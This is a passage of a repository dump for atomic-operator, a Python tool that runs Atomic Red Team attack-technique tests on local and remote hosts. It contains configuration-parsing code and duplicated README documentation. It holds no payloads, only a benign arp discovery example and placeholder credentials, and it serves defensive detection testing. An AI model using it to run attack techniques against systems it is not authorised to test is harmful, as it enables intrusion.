host_list 182 | __run_list.append(temp) 183 | if techniques: 184 | if "all" not in techniques: 185 | for technique in techniques: 186 | if self._all_loaded_techniques.get(technique): 187 | temp = self._all_loaded_techniques[technique] 188 | if select_tests: 189 | temp.atomic_tests = self.select_atomic_tests(self._all_loaded_techniques[technique]) 190 | temp.hosts = host_list 191 | __run_list.append(temp) 192 | elif "all" in techniques and not test_guids: 193 | for key, val in self._all_loaded_techniques.items(): 194 | temp = self._all_loaded_techniques[key] 195 | if select_tests: 196 | temp.atomic_tests = self.select_atomic_tests(self._all_loaded_techniques[key]) 197 | temp.hosts = host_list 198 | __run_list.append(temp) 199 | else: 200 | pass 201 | return __run_list 202 | 203 | @property 204 | def run_list(self): 205 | """Returns a list of Atomic objects that will be ran. 206 | 207 | This list combines Atomics and potentially filters 208 | tests defined within that Atomic object based on passed 209 | in parameters and config_file. 210 | 211 | Additionally, a list of Host objects are added to their 212 | defined techniques or test_guids based on config and/or 213 | passed in parameters. 214 | 215 | [ 216 | Atomic( 217 | attack_technique='T1016', 218 | display_name='System Network Configuration Discovery', 219 | path='/Users/josh.rickard/_Swimlane2/atomic-operator/redcanaryco-atomic-red-team-22dd2fb/atomics/T1016', 220 | atomic_tests=[ 221 | AtomicTest( 222 | name='System Network Configuration Discovery', 223 | description='Identify network configuration information.\n\nUpon successful execution, ...', 224 | supported_platforms=['macos', 'linux'], 225 | auto_generated_guid='c141bbdb-7fca-4254-9fd6-f47e79447e17', 226 | executor=AtomicExecutor( 227 | name='sh', 228 | command='if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from ....', 229 | cleanup_command=None, 230 | elevation_required=False, steps=None 231 | ), 232 | input_arguments=None, 233 | dependency_executor_name=None, 234 | dependencies=[] 235 | ) 236 | ], 237 | hosts=[ 238 | Host( 239 | hostname='192.168.1.1', 240 | username='username', 241 | password='some_passowrd!', 242 | verify_ssl=False, 243 | ssh_key_path=None, 244 | private_key_string=None, 245 | port=22, 246 | timeout=5 247 | ) 248 | ], 249 | supporting_files=[ 250 | 'redcanaryco-atomic-red-team-22dd2fb/atomics/T1016/src/top-128.txt', 251 | 'redcanaryco-atomic-red-team-22dd2fb/atomics/T1016/src/qakbot.bat' 252 | ] 253 | ) 254 | ] 255 | 256 | Returns: 257 | [list]: A list of modified Atomic objects that will be used to run 258 | either remotely or locally. 259 | """ 260 | __run_list = [] 261 | if self.__config_file: 262 | __run_list = self.__parse_test_guids(self.__config_file) 263 | 264 | for item in self.__build_run_list( 265 | techniques=self.parse_input_lists(self.techniques) if self.techniques else [], 266 | test_guids=self.parse_input_lists(self.test_guids) if self.test_guids else [], 267 | host_list=self.__host_list, 268 | select_tests=self.select_tests, 269 | ): 270 | __run_list.append(item) 271 | return __run_list 272 | 273 | @property 274 | def config(self): 275 | """Returns raw converted config_file passed into class 276 | 277 | Returns: 278 | [dict]: Returns the converted config_file as dictionary. 279 | """ 280 | if self.__config_file: 281 | return self.__config_file 282 | else: 283 | return None 284 | 285 | def is_defined(self, guid: str): 286 | """Checks to see if a GUID is defined within a config file 287 | 288 | Args: 289 | guid (str): The GUID defined within a parsed config file 290 | 291 | Returns: 292 | [bool]: Returns True if GUID is defined within parsed config_file 293 | """ 294 | if self.__config_file: 295 | for item in self.__config_file["atomic_tests"]: 296 | if item["guid"] == guid: 297 | return True 298 | return False 299 | 300 | def get_inputs(self, guid: str): 301 | """Retrieves any defined inputs for a given atomic test GUID 302 | 303 | Args: 304 | guid (str): An Atomic test GUID 305 | 306 | Returns: 307 | dict: A dictionary of defined input arguments or empty 308 | """ 309 | if self.__config_file: 310 | for item in self.__config_file["atomic_tests"]: 311 | if item["guid"] == guid: 312 | return item.get("input_arguments", {}) 313 | return {} 314 | -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | # atomic-operator 2 | 3 | ![](atomic-operator-logo.svg) 4 | 5 | This python package is used to execute Atomic Red Team tests (Atomics) across multiple operating system environments. 6 | 7 | > ([What's new?](CHANGELOG.md)) 8 | 9 | ## Why? 10 | 11 | `atomic-operator` enables security professionals to test their detection and defensive capabilities against prescribed techniques defined within [atomic-red-team](https://github.com/redcanaryco/atomic-red-team). By utilizing a testing framework such as `atomic-operator`, you can identify both your defensive capabilities as well as gaps in defensive coverage. 12 | 13 | Additionally, `atomic-operator` can be used in many other situations like: 14 | 15 | - Generating alerts to test products 16 | - Testing EDR and other security tools 17 | - Identifying way to perform defensive evasion from an adversary perspective 18 | - Plus more. 19 | 20 | ## Features 21 | 22 | * Support local and remote execution of Atomic Red Teams tests on Windows, macOS, and Linux systems 23 | * Supports running atomic-tests against `iaas:aws` 24 | * Can prompt for input arguments but not required 25 | * Assist with downloading the atomic-red-team repository 26 | * Can be automated further based on a configuration file 27 | * A command-line and importable Python package 28 | * Select specific tests when one or more techniques are specified 29 | * Search across all atomics for that perfect test 30 | * Plus more 31 | 32 | ## Getting Started 33 | 34 | `atomic-operator` is a Python-only package hosted on [PyPi](https://pypi.org/project/atomic-operator/) and works with Python 3.6 and greater. 35 | 36 | If you are wanting a PowerShell version, please checkout [Invoke-AtomicRedTeam](https://github.com/redcanaryco/invoke-atomicredteam). 37 | 38 | ```bash 39 | pip install atomic-operator 40 | ``` 41 | 42 | The next steps will guide you through setting up and running `atomic-operator`. 43 | 44 | * [Get Atomics](atomics.md) Install / clone Atomic Red Team repository 45 | * [atomic-operator](atomic-operator.md) Understand the options availble in atomic-operator 46 | * [Running Test on Command Line](running-tests-command-line.md) or [Running Tests within a Script](running-tests-script.md) 47 | * [Running Tests via Configuration File](atomic-operator-config.md) 48 | 49 | ## Installation 50 | 51 | You can install **atomic-operator** on OS X, Linux, or Windows. You can also install it directly from the source. To install, see the commands under the relevant operating system heading, below. 52 | 53 | ### Prerequisites 54 | 55 | The following libraries are required and installed by atomic-operator: 56 | 57 | ``` 58 | pyyaml==5.4.1 59 | fire==0.4.0 60 | requests==2.26.0 61 | attrs==21.2.0 62 | pick==1.2.0 63 | ``` 64 | 65 | ### macOS, Linux and Windows: 66 | 67 | ```bash 68 | pip install atomic-operator 69 | ``` 70 | 71 | ### macOS using M1 processor 72 | 73 | ```bash 74 | git clone https://github.com/swimlane/atomic-operator.git 75 | cd atomic-operator 76 | 77 | # Satisfy ModuleNotFoundError: No module named 'setuptools_rust' 78 | brew install rust 79 | pip3 install --upgrade pip 80 | pip3 install setuptools_rust 81 | 82 | # Back to our regularly scheduled programming . . . 83 | pip install -r requirements.txt 84 | python setup.py install 85 | ``` 86 | 87 | ### Installing from source 88 | 89 | ```bash 90 | git clone https://github.com/swimlane/atomic-operator.git 91 | cd atomic-operator 92 | pip install -r requirements.txt 93 | python setup.py install 94 | ``` 95 | 96 | ## Usage example (command line) 97 | 98 | You can run `atomic-operator` from the command line or within your own Python scripts. To use `atomic-operator` at the command line simply enter the following in your terminal: 99 | 100 | ```bash 101 | atomic-operator --help 102 | atomic-operator run -- --help 103 | ``` 104 | 105 | > Please note that to see details about the run command run `atomic-operator run -- --help` and NOT `atomic-operator run --help` 106 | 107 | ### Retrieving Atomic Tests 108 | 109 | In order to use `atomic-operator` you must have one or more [atomic-red-team](https://github.com/redcanaryco/atomic-red-team) tests (Atomics) on your local system. `atomic-operator` provides you with the ability to download the Atomic Red Team repository. You can do so by running the following at the command line: 110 | 111 | ```bash 112 | atomic-operator get_atomics 113 | # You can specify the destination directory by using the --destination flag 114 | atomic-operator get_atomics --destination "/tmp/some_directory" 115 | ``` 116 | 117 | ### Running Tests Locally 118 | 119 | In order to run a test you must provide some additional properties (and options if desired). The main method to run tests is named `run`. 120 | 121 | ```bash 122 | # This will run ALL tests compatiable with your local operating system 123 | atomic-operator run --atomics-path "/tmp/some_directory/redcanaryco-atomic-red-team-3700624" 124 | ``` 125 | 126 | You can select individual tests when you provide one or more specific techniques. For example running the following on the command line: 127 | 128 | ```bash 129 | atomic-operator run --techniques T1564.001 --select_tests 130 | ``` 131 | 132 | Will prompt the user with a selection list of tests associated with that technique. A user can select one or more tests by using the space bar to highlight the desired test: 133 | 134 | ```text 135 | Select Test(s) for Technique T1564.001 (Hide Artifacts: Hidden Files and Directories) 136 | 137 | * Create a hidden file in a hidden directory (61a782e5-9a19-40b5-8ba4-69a4b9f3d7be) 138 | Mac Hidden file (cddb9098-3b47-4e01-9d3b-6f5f323288a9) 139 | Create Windows System File with Attrib (f70974c8-c094-4574-b542-2c545af95a32) 140 | Create Windows Hidden File with Attrib (dadb792e-4358-4d8d-9207-b771faa0daa5) 141 | Hidden files (3b7015f2-3144-4205-b799-b05580621379) 142 | Hide a Directory (b115ecaf-3b24-4ed2-aefe-2fcb9db913d3) 143 | Show all hidden files (9a1ec7da-b892-449f-ad68-67066d04380c) 144 | ``` 145 | 146 | ### Running Tests Remotely 147 | 148 | In order to run a test remotely you must provide some additional properties (and options if desired). The main method to run tests is named `run`. 149 | 150 | ```bash 151 | # This will run ALL tests compatiable with your local operating system 152 | atomic-operator run --atomics-path "/tmp/some_directory/redcanaryco-atomic-red-team-3700624" --hosts "10.32.1.0" --username "my_username" --password "my_password" 153 | ``` 154 | 155 | > When running commands remotely against Windows hosts you may need to configure PSRemoting. See details here: [Windows Remoting](windows-remote.md) 156 | 157 | ### Additional parameters 158 | 159 | You can see additional parameters by running the following command: 160 | 161 | ```bash 162 | atomic-operator run -- --help 163 | ``` 164 | 165 | 166 | |Parameter Name|Type|Default|Description| 167 | |--------------|----|-------|-----------| 168 | |techniques|list|all|One or more defined techniques by attack_technique ID.| 169 | |test_guids|list|None|One or more Atomic test GUIDs.| 170 | |select_tests|bool|False|Select one or more atomic tests to run when a techniques are specified.| 171 | |atomics_path|str|os.getcwd()|The path of Atomic tests.| 172 | |check_prereqs|bool|False|Whether or not to check for prereq dependencies (prereq_comand).| 173 | |get_prereqs|bool|False|Whether or not you want to retrieve prerequisites.| 174 | |cleanup|bool|False|Whether or not you want to run cleanup command(s).| 175 | |copy_source_files|bool|True|Whether or not you want to copy any related source (src, bin, etc.) files to a remote host.| 176 | |command_timeout|int|20|Time duration for each command before timeout.| 177 | |debug|bool|False|Whether or not you want to output details about tests being ran.| 178 | |prompt_for_input_args|bool|False|Whether you want to prompt for input arguments for each test.| 179 | |return_atomics|bool|False|Whether or not you want to return atomics instead of running them.| 180 | |config_file|str|None|A path to a conifg_file which is used to automate atomic-operator in environments.| 181 | |config_file_only|bool|False|Whether or not you want to run tests based on the provided config_file only.| 182 | |hosts|list|None|A list of one or more remote hosts to run a test on.| 183 | |username|str|None|Username for authentication of remote connections.| 184 | |password|str|None|Password for authentication of remote connections.| 185 | |ssh_key_path|str|None|Path to a SSH Key for authentication of remote connections.| 186 | |private_key_string|str|None|A private SSH Key string used for authentication of remote connections.| 187 | |verify_ssl|bool|False|Whether or not to verify ssl when connecting over RDP (windows).| 188 | |ssh_port|int|22|SSH port for authentication of remote connections.| 189 | |ssh_timeout|int|5|SSH timeout for authentication of remote connections.| 190 | |**kwargs|dict|None|If additional flags are passed into the run command then we will attempt to match them with defined inputs within Atomic tests and replace their value with the provided value.| 191 | 192 | 193 | You should see a similar output to the following: 194 | 195 | ```text 196 | NAME 197 | atomic-operator run - The main method in which we run Atomic Red Team tests. 198 | 199 | SYNOPSIS 200 | atomic-operator run 201 | 202 | DESCRIPTION 203 | The main method in which we run Atomic Red Team tests. 204 | 205 | FLAGS 206 | --techniques=TECHNIQUES 207 | Type: list 208 | Default: ['all'] 209 | One or more defined techniques by attack_technique ID. Defaults to 'all'. 210 | --test_guids=TEST_GUIDS 211 | Type: list 212 | Default: [] 213 | One or more Atomic test GUIDs. Defaults to None. 214 | --select_tests=SELECT_TESTS 215 | Type: bool 216 | Default: False 217 | Select one or more tests from provided techniques. Defaults to False. 218 | --atomics_path=ATOMICS_PATH 219 | Default: '/U... 220 | The path of Atomic tests. Defaults to os.getcwd(). 221 | --check_prereqs=CHECK_PREREQS 222 | Default: False 223 | Whether or not to check for prereq dependencies (prereq_comand). Defaults to False. 224 | --get_prereqs=GET_PREREQS 225 | Default: False 226 | Whether or not you want to retrieve prerequisites. Defaults to False. 227 | --cleanup=CLEANUP 228 | Default: False 229 | Whether or not you want to run cleanup command(s). Defaults to False. 230 | --copy_source_files=COPY_SOURCE_FILES 231 | Default: True 232 | Whether or not you want to copy any related source (src, bin, etc.) files to a remote host. Defaults to True. 233 | --command_timeout=COMMAND_TIMEOUT 234 | Default: 20 235 | Timeout duration for each command. Defaults to 20. 236 | --debug=DEBUG 237 | Default: False 238 | Whether or not you want to output details about tests being ran. Defaults to False. 239 | --prompt_for_input_args=PROMPT_FOR_INPUT_ARGS 240 | Default: False 241 | Whether you want to prompt for input arguments for each test. Defaults to False. 242 | --return_atomics=RETURN_ATOMICS 243 | Default: False 244 | Whether or not you want to return atomics instead of running them. Defaults to False. 245 | --config_file=CONFIG_FILE 246 | Type: Optional[] 247 | Default: None 248 | A path to a conifg_file which is used to automate atomic-operator in environments. Default to None. 249 | --config_file_only=CONFIG_FILE_ONLY 250 | Default: False 251 | Whether or not you want to run tests based on the provided config_file only. Defaults to False. 252 | --hosts=HOSTS 253 | Default: [] 254 | A list of one or more remote hosts to run a test on. Defaults to []. 255 | --username=USERNAME 256 | Type: Optional[] 257 | Default: None 258 | Username for authentication of remote connections. Defaults to None. 259 | --password=PASSWORD 260 | Type: Optional[] 261 | Default: None 262 | Password for authentication of remote connections. Defaults to None. 263 | --ssh_key_path=SSH_KEY_PATH 264 | Type: Optional[] 265 | Default: None 266 | Path to a SSH Key for authentication of remote connections. Defaults to None. 267 | --private_key_string=PRIVATE_KEY_STRING 268 | Type: Optional[] 269 | Default: None 270 | A private SSH Key string used for authentication of remote connections. Defaults to None. 271 | --verify_ssl=VERIFY_SSL 272 | Default: False 273 | Whether or not to verify ssl when connecting over RDP (windows). Defaults to False. 274 | --ssh_port=SSH_PORT 275 | Default: 22 276 | SSH port for authentication of remote connections. Defaults to 22. 277 | --ssh_timeout=SSH_TIMEOUT 278 | Default: 5 279 | SSH timeout for authentication of remote connections. Defaults to 5. 280 | Additional flags are accepted. 281 | If provided, keys matching inputs for a test will be replaced. Default is None. 282 | ``` 283 | 284 | ### Running atomic-operator using a config_file 285 | 286 | In addition to the ability to pass in parameters with `atomic-operator` you can also pass in a path to a `config_file` that contains all the atomic tests and their potential inputs. You can see an example of this config_file here: 287 | 288 | ```yaml 289 | atomic_tests: 290 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 291 | input_arguments: 292 | output_file: 293 | value: custom_output.txt 294 | input_file: 295 | value: custom_input.txt 296 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 297 | input_arguments: 298 | second_arg: 299 | value: SWAPPPED argument 300 | - guid: 32f90516-4bc9-43bd-b18d-2cbe0b7ca9b2 301 | ``` 302 | 303 | ## Usage example (scripts) 304 | 305 | To use **atomic-operator** you must instantiate an **AtomicOperator** object. 306 | 307 | ```python 308 | from atomic_operator import AtomicOperator 309 | 310 | operator = AtomicOperator() 311 | 312 | # This will download a local copy of the atomic-red-team repository 313 | 314 | print(operator.get_atomics('/tmp/some_directory')) 315 | 316 | # this will run tests on your local system 317 | operator.run( 318 | technique: str='All', 319 | atomics_path=os.getcwd(), 320 | check_dependencies=False, 321 | get_prereqs=False, 322 | cleanup=False, 323 | command_timeout=20, 324 | debug=False, 325 | prompt_for_input_args=False, 326 | **kwargs 327 | ) 328 | ``` 329 | 330 | ## Getting Help 331 | 332 | Please create an [issue](https://github.com/swimlane/atomic-operator/pulls) if you have questions or run into any issues. 333 | 334 | ## Built With 335 | 336 | * [carcass](https://github.com/MSAdministrator/carcass) - Python packaging template 337 | 338 | ## Contributing 339 | 340 | Please read [CONTRIBUTING.md](CONTRIBUTING.md) for details on our code of conduct, and the process for submitting pull requests to us. 341 | 342 | ## Versioning 343 | 344 | We use [SemVer](http://semver.org/) for versioning. 345 | 346 | ## Authors 347 | 348 | * Josh Rickard - *Initial work* - [MSAdministrator](https://github.com/MSAdministrator) 349 | 350 | See also the list of [contributors](https://github.com/swimlane/atomic-operator/contributors) who participated in this project. 351 | 352 | ## License 353 | 354 | This project is licensed under the MIT License - see the [LICENSE](LICENSE.md) file for details 355 | 356 | ## Shoutout 357 | 358 | - Thanks to [keithmccammon](https://github.com/keithmccammon) for helping identify issues with macOS M1 based proccesssor and providing a fix 359 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![PyPI](https://img.shields.io/pypi/v/atomic-operator.svg)][pypi status] 2 | [![Status](https://img.shields.io/pypi/status/atomic-operator.svg)][pypi status] 3 | [![Python Version](https://img.shields.io/pypi/pyversions/atomic-operator)][pypi status] 4 | [![License](https://img.shields.io/pypi/l/atomic-operator)][license] 5 | 6 | [![Read the documentation at https://atomic-operator.com/](https://img.shields.io/readthedocs/czds/latest.svg?label=Read%20the%20Docs)][read the docs] 7 | [![Code Quality & Tests](https://github.com/Swimlane/atomic-operator/actions/workflows/quality.yml/badge.svg)](https://github.com/Swimlane/atomic-operator/actions/workflows/quality.yml) 8 | 9 | [![Black](https://img.shields.io/badge/code%20style-black-000000.svg)][black] 10 | 11 | [pypi status]: https://pypi.org/project/atomic-operator/ 12 | [read the docs]: https://atomic-operator.com 13 | [tests]: https://github.com/Swimlane/atomic-operator/actions?workflow=Quality 14 | [codecov]: https://app.codecov.io/gh/Swimlane/atomic-operator 15 | [pre-commit]: https://github.com/pre-commit/pre-commit 16 | [black]: https://github.com/psf/black 17 | 18 | # atomic-operator 19 | 20 | ![](images/atomic-operator-logo.svg) 21 | 22 | This python package is used to execute Atomic Red Team tests (Atomics) across multiple operating system environments. 23 | 24 | > ([What's new?](CHANGELOG.md)) 25 | 26 | ## Why? 27 | 28 | `atomic-operator` enables security professionals to test their detection and defensive capabilities against prescribed techniques defined within [atomic-red-team](https://github.com/redcanaryco/atomic-red-team). By utilizing a testing framework such as `atomic-operator`, you can identify both your defensive capabilities as well as gaps in defensive coverage. 29 | 30 | Additionally, `atomic-operator` can be used in many other situations like: 31 | 32 | - Generating alerts to test products 33 | - Testing EDR and other security tools 34 | - Identifying way to perform defensive evasion from an adversary perspective 35 | - Plus more. 36 | 37 | ## Features 38 | 39 | * Support local and remote execution of Atomic Red Teams tests on Windows, macOS, and Linux systems 40 | * Supports running atomic-tests against `iaas:aws` 41 | * Can prompt for input arguments but not required 42 | * Assist with downloading the atomic-red-team repository 43 | * Can be automated further based on a configuration file 44 | * A command-line and importable Python package 45 | * Select specific tests when one or more techniques are specified 46 | * Search across all atomics for that perfect test 47 | * Pass input_arguments as input for tests via command line 48 | * Plus more 49 | 50 | ## Getting Started 51 | 52 | `atomic-operator` is a Python-only package hosted on [PyPi](https://pypi.org/project/atomic-operator/) and works with Python 3.6 and greater. 53 | 54 | If you are wanting a PowerShell version, please checkout [Invoke-AtomicRedTeam](https://github.com/redcanaryco/invoke-atomicredteam). 55 | 56 | ```bash 57 | pip install atomic-operator 58 | ``` 59 | 60 | The next steps will guide you through setting up and running `atomic-operator`. 61 | 62 | * [Get Atomics](docs/atomics.md) Install / clone Atomic Red Team repository 63 | * [atomic-operator](docs/atomic-operator.md) Understand the options availble in atomic-operator 64 | * [Running Test on Command Line](docs/running-tests-command-line.md) or [Running Tests within a Script](docs/running-tests-script.md) 65 | * [Running Tests via Configuration File](atomic-operator-config.md) 66 | 67 | ## Installation 68 | 69 | You can install **atomic-operator** on OS X, Linux, or Windows. You can also install it directly from the source. To install, see the commands under the relevant operating system heading, below. 70 | 71 | ### Prerequisites 72 | 73 | The following libraries are required and installed by atomic-operator: 74 | 75 | ``` 76 | pyyaml==5.4.1 77 | fire==0.4.0 78 | requests==2.26.0 79 | attrs==21.2.0 80 | pick==1.2.0 81 | ``` 82 | 83 | ### macOS, Linux and Windows: 84 | 85 | ```bash 86 | pip install atomic-operator 87 | ``` 88 | 89 | ### macOS using M1 processor 90 | 91 | ```bash 92 | git clone https://github.com/swimlane/atomic-operator.git 93 | cd atomic-operator 94 | 95 | # Satisfy ModuleNotFoundError: No module named 'setuptools_rust' 96 | brew install rust 97 | pip3 install --upgrade pip 98 | pip3 install setuptools_rust 99 | 100 | # Back to our regularly scheduled programming . . . 101 | pip install -r requirements.txt 102 | python setup.py install 103 | ``` 104 | 105 | ### Installing from source 106 | 107 | ```bash 108 | git clone https://github.com/swimlane/atomic-operator.git 109 | cd atomic-operator 110 | pip install -r requirements.txt 111 | python setup.py install 112 | ``` 113 | 114 | ## Usage example (command line) 115 | 116 | You can run `atomic-operator` from the command line or within your own Python scripts. To use `atomic-operator` at the command line simply enter the following in your terminal: 117 | 118 | ```bash 119 | atomic-operator --help 120 | atomic-operator run -- --help 121 | ``` 122 | 123 | > Please note that to see details about the run command run `atomic-operator run -- --help` and NOT `atomic-operator run --help` 124 | 125 | ### Retrieving Atomic Tests 126 | 127 | In order to use `atomic-operator` you must have one or more [atomic-red-team](https://github.com/redcanaryco/atomic-red-team) tests (Atomics) on your local system. `atomic-operator` provides you with the ability to download the Atomic Red Team repository. You can do so by running the following at the command line: 128 | 129 | ```bash 130 | atomic-operator get_atomics 131 | # You can specify the destination directory by using the --destination flag 132 | atomic-operator get_atomics --destination "/tmp/some_directory" 133 | ``` 134 | 135 | ### Running Tests Locally 136 | 137 | In order to run a test you must provide some additional properties (and options if desired). The main method to run tests is named `run`. 138 | 139 | ```bash 140 | # This will run ALL tests compatiable with your local operating system 141 | atomic-operator run --atomics-path "/tmp/some_directory/redcanaryco-atomic-red-team-3700624" 142 | ``` 143 | 144 | You can select individual tests when you provide one or more specific techniques. For example running the following on the command line: 145 | 146 | ```bash 147 | atomic-operator run --techniques T1564.001 --select_tests 148 | ``` 149 | 150 | Will prompt the user with a selection list of tests associated with that technique. A user can select one or more tests by using the space bar to highlight the desired test: 151 | 152 | ```text 153 | Select Test(s) for Technique T1564.001 (Hide Artifacts: Hidden Files and Directories) 154 | 155 | * Create a hidden file in a hidden directory (61a782e5-9a19-40b5-8ba4-69a4b9f3d7be) 156 | Mac Hidden file (cddb9098-3b47-4e01-9d3b-6f5f323288a9) 157 | Create Windows System File with Attrib (f70974c8-c094-4574-b542-2c545af95a32) 158 | Create Windows Hidden File with Attrib (dadb792e-4358-4d8d-9207-b771faa0daa5) 159 | Hidden files (3b7015f2-3144-4205-b799-b05580621379) 160 | Hide a Directory (b115ecaf-3b24-4ed2-aefe-2fcb9db913d3) 161 | Show all hidden files (9a1ec7da-b892-449f-ad68-67066d04380c) 162 | ``` 163 | 164 | The following will allow you to provide custom input arguments for tests. You do this providing a dictionary of keys and values as a dictionary to the `input_arguments` parameter on the run method. 165 | 166 | ```bash 167 | atomic-operator run --techniques T1564.001 --input_arguments '{"project-id": "some_value", "another_key": "another value"}' 168 | # Please include single quotes around the input_arguments value. 169 | ``` 170 | 171 | ### Running Tests Remotely 172 | 173 | In order to run a test remotely you must provide some additional properties (and options if desired). The main method to run tests is named `run`. 174 | 175 | ```bash 176 | # This will run ALL tests compatiable with your local operating system 177 | atomic-operator run --atomics-path "/tmp/some_directory/redcanaryco-atomic-red-team-3700624" --hosts "10.32.1.0" --username "my_username" --password "my_password" 178 | ``` 179 | 180 | > When running commands remotely against Windows hosts you may need to configure PSRemoting. See details here: [Windows Remoting](docs/windows-remote.md) 181 | 182 | ### Additional parameters 183 | 184 | You can see additional parameters by running the following command: 185 | 186 | ```bash 187 | atomic-operator run -- --help 188 | ``` 189 | 190 | 191 | 192 | |Parameter Name|Type|Default|Description| 193 | |--------------|----|-------|-----------| 194 | |techniques|list|all|One or more defined techniques by attack_technique ID.| 195 | |test_guids|list|None|One or more Atomic test GUIDs.| 196 | |select_tests|bool|False|Select one or more atomic tests to run when a techniques are specified.| 197 | |atomics_path|str|os.getcwd()|The path of Atomic tests.| 198 | |input_arguments|dict|{}|A dictionary of input arguments to pass to the test.| 199 | |check_prereqs|bool|False|Whether or not to check for prereq dependencies (prereq_comand).| 200 | |get_prereqs|bool|False|Whether or not you want to retrieve prerequisites.| 201 | |cleanup|bool|False|Whether or not you want to run cleanup command(s).| 202 | |copy_source_files|bool|True|Whether or not you want to copy any related source (src, bin, etc.) files to a remote host.| 203 | |command_timeout|int|20|Time duration for each command before timeout.| 204 | |debug|bool|False|Whether or not you want to output details about tests being ran.| 205 | |prompt_for_input_args|bool|False|Whether you want to prompt for input arguments for each test.| 206 | |return_atomics|bool|False|Whether or not you want to return atomics instead of running them.| 207 | |config_file|str|None|A path to a conifg_file which is used to automate atomic-operator in environments.| 208 | |config_file_only|bool|False|Whether or not you want to run tests based on the provided config_file only.| 209 | |hosts|list|None|A list of one or more remote hosts to run a test on.| 210 | |username|str|None|Username for authentication of remote connections.| 211 | |password|str|None|Password for authentication of remote connections.| 212 | |ssh_key_path|str|None|Path to a SSH Key for authentication of remote connections.| 213 | |private_key_string|str|None|A private SSH Key string used for authentication of remote connections.| 214 | |verify_ssl|bool|False|Whether or not to verify ssl when connecting over RDP (windows).| 215 | |ssh_port|int|22|SSH port for authentication of remote connections.| 216 | |ssh_timeout|int|5|SSH timeout for authentication of remote connections.| 217 | |**kwargs|dict|None|If additional flags are passed into the run command then we will attempt to match them with defined inputs within Atomic tests and replace their value with the provided value.| 218 | 219 | 220 | You should see a similar output to the following: 221 | 222 | ```text 223 | NAME 224 | atomic-operator run - The main method in which we run Atomic Red Team tests. 225 | 226 | SYNOPSIS 227 | atomic-operator run 228 | 229 | DESCRIPTION 230 | The main method in which we run Atomic Red Team tests. 231 | 232 | FLAGS 233 | --techniques=TECHNIQUES 234 | Type: list 235 | Default: ['all'] 236 | One or more defined techniques by attack_technique ID. Defaults to 'all'. 237 | --test_guids=TEST_GUIDS 238 | Type: list 239 | Default: [] 240 | One or more Atomic test GUIDs. Defaults to None. 241 | --select_tests=SELECT_TESTS 242 | Type: bool 243 | Default: False 244 | Select one or more tests from provided techniques. Defaults to False. 245 | --atomics_path=ATOMICS_PATH 246 | Default: '/U... 247 | The path of Atomic tests. Defaults to os.getcwd(). 248 | --input_arguments={} 249 | Default: {} 250 |   A dictionary of input arguments to pass to the test. 251 | --check_prereqs=CHECK_PREREQS 252 | Default: False 253 | Whether or not to check for prereq dependencies (prereq_comand). Defaults to False. 254 | --get_prereqs=GET_PREREQS 255 | Default: False 256 | Whether or not you want to retrieve prerequisites. Defaults to False. 257 | --cleanup=CLEANUP 258 | Default: False 259 | Whether or not you want to run cleanup command(s). Defaults to False. 260 | --copy_source_files=COPY_SOURCE_FILES 261 | Default: True 262 | Whether or not you want to copy any related source (src, bin, etc.) files to a remote host. Defaults to True. 263 | --command_timeout=COMMAND_TIMEOUT 264 | Default: 20 265 | Timeout duration for each command. Defaults to 20. 266 | --debug=DEBUG 267 | Default: False 268 | Whether or not you want to output details about tests being ran. Defaults to False. 269 | --prompt_for_input_args=PROMPT_FOR_INPUT_ARGS 270 | Default: False 271 | Whether you want to prompt for input arguments for each test. Defaults to False. 272 | --return_atomics=RETURN_ATOMICS 273 | Default: False 274 | Whether or not you want to return atomics instead of running them. Defaults to False. 275 | --config_file=CONFIG_FILE 276 | Type: Optional[] 277 | Default: None 278 | A path to a conifg_file which is used to automate atomic-operator in environments. Default to None. 279 | --config_file_only=CONFIG_FILE_ONLY 280 | Default: False 281 | Whether or not you want to run tests based on the provided config_file only. Defaults to False. 282 | --hosts=HOSTS 283 | Default: [] 284 | A list of one or more remote hosts to run a test on. Defaults to []. 285 | --username=USERNAME 286 | Type: Optional[] 287 | Default: None 288 | Username for authentication of remote connections. Defaults to None. 289 | --password=PASSWORD 290 | Type: Optional[] 291 | Default: None 292 | Password for authentication of remote connections. Defaults to None. 293 | --ssh_key_path=SSH_KEY_PATH 294 | Type: Optional[] 295 | Default: None 296 | Path to a SSH Key for authentication of remote connections. Defaults to None. 297 | --private_key_string=PRIVATE_KEY_STRING 298 | Type: Optional[] 299 | Default: None 300 | A private SSH Key string used for authentication of remote connections. Defaults to None. 301 | --verify_ssl=VERIFY_SSL 302 | Default: False 303 | Whether or not to verify ssl when connecting over RDP (windows). Defaults to False. 304 | --ssh_port=SSH_PORT 305 | Default: 22 306 | SSH port for authentication of remote connections. Defaults to 22. 307 | --ssh_timeout=SSH_TIMEOUT 308 | Default: 5 309 | SSH timeout for authentication of remote connections. Defaults to 5. 310 | Additional flags are accepted. 311 | If provided, keys matching inputs for a test will be replaced. Default is None. 312 | ``` 313 | 314 | ### Running atomic-operator using a config_file 315 | 316 | In addition to the ability to pass in parameters with `atomic-operator` you can also pass in a path to a `config_file` that contains all the atomic tests and their potential inputs. You can see an example of this config_file here: 317 | 318 | ```yaml 319 | atomic_tests: 320 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 321 | input_arguments: 322 | output_file: 323 | value: custom_output.txt 324 | input_file: 325 | value: custom_input.txt 326 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 327 | input_arguments: 328 | second_arg: 329 | value: SWAPPPED argument 330 | - guid: 32f90516-4bc9-43bd-b18d-2cbe0b7ca9b2 331 | ``` 332 | 333 | ## Usage example (scripts) 334 | 335 | To use **atomic-operator** you must instantiate an **AtomicOperator** object. 336 | 337 | ```python 338 | from atomic_operator import AtomicOperator 339 | 340 | operator = AtomicOperator() 341 | 342 | # This will download a local copy of the atomic-red-team repository 343 | 344 | print(operator.get_atomics('/tmp/some_directory')) 345 | 346 | # this will run tests on your local system 347 | operator.run( 348 | technique: str='All', 349 | atomics_path=os.getcwd(), 350 | check_dependencies=False, 351 | get_prereqs=False, 352 | cleanup=False, 353 | command_timeout=20, 354 | debug=False, 355 | prompt_for_input_args=False, 356 | **kwargs 357 | ) 358 | ``` 359 | 360 | ## Getting Help 361 | 362 | Please create an [issue](https://github.com/swimlane/atomic-operator/pulls) 